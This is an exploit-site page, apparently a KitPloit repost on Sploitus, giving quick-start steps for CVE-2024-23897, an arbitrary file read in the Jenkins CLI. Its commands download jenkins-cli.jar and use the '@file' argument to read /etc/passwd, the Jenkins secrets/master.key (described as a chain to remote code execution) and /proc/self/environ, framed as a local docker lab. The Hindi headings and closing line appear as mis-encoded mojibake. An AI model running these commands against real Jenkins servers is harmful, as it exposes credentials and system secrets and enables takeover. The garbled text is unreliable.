Sploitus

Exploit for CVE-2024-23897

kitploit ┬╖ 2026-08-25

Exploit Code

MARKDOWN27 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DUNGSOCOOL-CVE-2024-23897
# CVE-2024-23897 тАФ Jenkins CLI рдордирдорд╛рдирд╛ рдлрд╝рд╛рдЗрд▓ рдкрдарди

## рддреНрд╡рд░рд┐рдд рдЖрд░рдВрдн

root@kitploit:~
    
    
    # 1. Start lab
    docker-compose up -d
    
    # 2. Wait ~30s, then download CLI tool
    curl -O http://localhost:8080/jnlpJars/jenkins-cli.jar
    
    # 3. Exploit тАФ read /etc/passwd (full file)
    java -jar jenkins-cli.jar -s http://localhost:8080 -http connect-node @/etc/passwd
    
    # 4. Read master.key (chain to RCE)
    java -jar jenkins-cli.jar -s http://localhost:8080 -http connect-node @/var/jenkins_home/secrets/master.key
    
    # 5. Read environment variables
    java -jar jenkins-cli.jar -s http://localhost:8080 -http help @/proc/self/environ
    

## рд╡рд┐рд╡рд░рдг

рдкреВрд░реНрдг рддрдХрдиреАрдХреА рд╡рд┐рд╢реНрд▓реЗрд╖рдг (рд╡рд┐рдпрддрдирд╛рдореА) рдХреЗ рд▓рд┐рдП REPORT.md рджреЗрдЦреЗрдВред